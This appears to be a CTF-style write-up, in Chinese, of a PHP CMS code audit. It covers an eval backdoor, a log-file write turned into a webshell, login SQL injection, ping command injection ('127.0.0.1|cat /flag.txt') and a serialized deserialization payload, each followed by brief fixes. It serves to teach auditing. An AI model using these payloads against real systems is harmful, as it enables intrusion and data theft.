首先这里需要搭建一个cms的平台得到:
利用D盾进行漏洞扫描得到:
5级的eval后门漏洞
可以看到这里有一个5级的eval后门漏洞,我们查看文件得到源码:
2级的fwrite审计:
利用seay工具进行代码审计:
源码:
可以发现这是一个日志记录,但是它把记录的日志都写入到了
/var/www/html/log.PHP文件,这就造成文件写入漏洞
我们利用这个log1.PHP用get的方式写一个<?PHP PHPinfo();?>
测试一下漏洞:
然后我们访问log.PHP文夹得到:
发现执行了PHPinfo();
所以我们可以利用这个文件写入,去写入一句话木马
修复:
1、可以把log.PHP改成log.txt
2、增加危险字符过滤
2级漏洞eval(get_defined_vars()[’_GET’][‘cmd’]);
查看源码得到:
修复:
1、进行危险字符过滤
2、把后门删除
在利用seay进行代码审计:
发现包含了很多文件,这里有个/common/function.PHP文件
我们去访问这个文件得到:
在index.PHP中可以看到,如果不给c传值会赋值为User
所有c的对象为User.PHP文件
所有看向User.PHP文件
我可以看到User这个类功还是挺多的,我们看向Login方法
sql注入
发现这里没有任何的过滤,所有登陆界面存在sql注入:
登陆得到:
修复:
进行危险字符过滤
命令执行
我在User.PHP看到:
看到这里有一个命令执行
我们在index.PHP哪里进行get请求
a=User&c=ping
然后在进行host请求:
发现执行了命令
利用命令:
127.0.0.1|cat /flag.txt
修复漏洞;
进行危险字符过滤
反序列化
反序列化漏洞源码:
payload:
class home{
private $method;
private $args;
}
$a = new home("ping",array('127.0.0.1|cat /flag.txt'));
$b = serialize($a);
echo base64_encode($b);
得到:
Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicgluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ==
得到flag。
漏洞修补:
过滤危险字符
本人比较菜漏洞审计就到这里,不妥的地方大佬勿喷
其它漏洞我也审计不出来直接上waf通防范。
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。